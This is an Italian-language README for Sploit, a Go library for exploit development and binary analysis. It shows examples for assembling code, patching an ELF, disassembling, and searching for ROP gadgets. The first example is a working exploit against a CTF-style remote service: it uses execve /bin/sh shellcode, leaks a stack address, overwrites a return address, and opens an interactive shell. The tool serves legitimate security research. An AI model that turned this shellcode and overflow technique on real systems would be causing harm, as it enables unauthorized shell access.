
Pacchetto Go che aiuta nell'analisi binaria e nell'exploitation
Sploit è un pacchetto Go che aiuta nell'analisi binaria e nello sfruttamento. La motivazione alla base dello sviluppo di sploit è quella di avere un'API ben progettata con funzionalità che rivaleggiano con alcuni dei framework di sviluppo di exploit Python più comuni, sfruttando al contempo il linguaggio di programmazione Go. L'ottimo supporto per la cross-compilazione, le goroutine, le potenti librerie crittografiche e la tipizzazione statica sono solo alcuni dei motivi per scegliere Go.
Questo progetto è ispirato da pwntools e altri progetti fantastici. È ancora in fase iniziale di sviluppo. Ci si aspetta che questo progetto si concentri pesantemente su shellcoding, patch binaria, costruzione di stack ROP e analisi binaria generale.
package main;
import(
sp "github.com/zznop/sploit"
)
var arch = &sp.Processor {
Architecture: sp.ArchI386,
Endian: sp.LittleEndian,
}
var scInstrs = `mov al, 0xb /* __NR_execve */
sub esp, 0x30 /* Get pointer to /bin/sh (see below) */
mov ebx, esp /* filename (/bin/sh) */
xor ecx, ecx /* argv (NULL) */
xor edx, edx /* envp (NULL) */
int 0x80`
func main() {
shellcode, _ := sp.Asm(arch, scInstrs)
r, _ := sp.NewRemote("tcp", "some.pwnable.on.the.interwebz:10800")
defer r.Close()
r.RecvUntil([]byte("HELLO:"), true)
// Leak a stack address
r.Send(append([]byte("/bin/sh\x00AAAAAAAAAAAA"), sp.PackUint32LE(0x08048087)...))
resp, _ := r.RecvN(20)
leakAddr := sp.UnpackUint32LE(resp[0:4])
// Pop a shell
junk := make([]byte, 20-len(shellcode))
junk = append(junk, sp.PackUint32LE(leakAddr-4)...)
r.Send(append(shellcode, junk...))
r.Interactive()
}
package main;
import(
"github.com/zznop/sploit"
"encoding/hex"
"fmt"
)
func main() {
instrs := "mov rcx, r12\n" +
"mov rdx, r13\n" +
"mov r8, 0x1f\n" +
"xor r9, r9\n" +
"sub rsp, 0x8\n" +
"mov qword [rsp+0x20], rax\n"
arch := &sploit.Processor {
Architecture: sploit.ArchX8664,
Endian: sploit.LittleEndian,
}
opcode, _ := sploit.Asm(arch, instrs)
fmt.Printf("Opcode bytes:\n%s\n", hex.Dump(opcode))
}
> ./assemble_example
Opcode bytes:
00000000 4c 89 e1 4c 89 ea 49 c7 c0 1f 00 00 00 4d 31 c9 |L..L..I......M1.|
00000010 48 83 ec 08 48 89 44 24 28 |H...H.D$(|
package main
import (
"fmt"
sp "github.com/zznop/sploit"
)
var origProgram = "../test/prog1.x86_64"
var patchedProgram = "./patched"
var patchInstrs = `
jmp past
message:
.ascii "This is an example patch payload\n"
past:
mov rdi, 1 /* STDOUT file descriptor */
lea rsi, [rip + message] /* Pointer to message string */
mov rdx, 33 /* Message size */
mov rax, 1 /* __NR_write */
syscall /* Execute system call */
self:
jmp self /* Hang forever */
`
func main() {
e, _ := sp.NewELF(origProgram)
e.AsmPatch(patchInstrs, 0x1050)
e.Save(patchedProgram, 0777)
}
> ./patch_elf
Patching _start of ../test/prog1.x86_64
Exporting patched ELF to ./patched
> ./patched
This is an example patch payload
package main;
import(
"github.com/zznop/sploit"
"fmt"
)
var program = "../test/prog1.x86_64"
func main() {
elf, _ := sploit.NewELF(program)
vaddr := uint64(0x1135)
count := 34
fmt.Printf("Disassembling %v bytes at vaddr:%08x\n", count, vaddr)
disasm, _ := elf.Disasm(vaddr, count)
fmt.Print(disasm)
}
> ./disassemble_example
Disassembling 34 bytes at vaddr:00001135
00001135: push rbp
00001136: mov rbp, rsp
00001139: sub rsp, 0x10
0000113d: mov dword ptr [rbp - 4], edi
00001140: mov qword ptr [rbp - 0x10], rsi
00001144: lea rdi, [rip + 0xeb9]
0000114b: call 0x1030
00001150: mov eax, 0
00001155: leave
00001156: ret
package main;
import(
"github.com/zznop/sploit"
)
var program = "../test/prog1.x86_64"
func main() {
elf, _ := sploit.NewELF(program)
rop, _ := elf.ROP()
matched, _ := rop.InstrSearch("pop rbp")
matched.Dump()
}
0000111f: pop rbp ; ret
0000111d: add byte ptr [rcx], al ; pop rbp ; ret
00001118: mov byte ptr [rip + 0x2f11], 1 ; pop rbp ; ret
00001113: call 0x1080 ; mov byte ptr [rip + 0x2f11], 1 ; pop rbp ; ret
000011b7: pop rbp ; pop r14 ; pop r15 ; ret
000011b3: pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
000011b2: pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
000011af: add esp, 8 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
000011ae: add rsp, 8 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
...
Alcune funzionalità di Sploit si basano su dipendenze esterne. Ad esempio, Sploit utilizza l'assemblatore GAS di GCC per compilare codice assembly e capstone per disassemblare codice compilato come parte dell'API esposta da asm.go.
Installa capstone:
git clone https://github.com/aquynh/capstone.git --branch 4.0.2 --single-branch
cd capstone
make
sudo make install
Installa i cross-compilatori GCC. I seguenti comandi presuppongono che tu stia utilizzando Debian o Ubuntu su una workstation Intel e potrebbero dover essere modificati se esegui un'altra distribuzione Linux:
sudo apt install gcc gcc-arm-linux-gnueabi gcc-aarch64-linux-gnu gcc-mips-linux-gnu \
gcc-mipsel-linux-gnu gcc-powerpc-linux-gnu
Se preferisci usare Docker, un'immagine contenente le dipendenze esterne è disponibile su Docker Hub. Scaricala con il seguente comando:
docker pull zznop/sploit:latest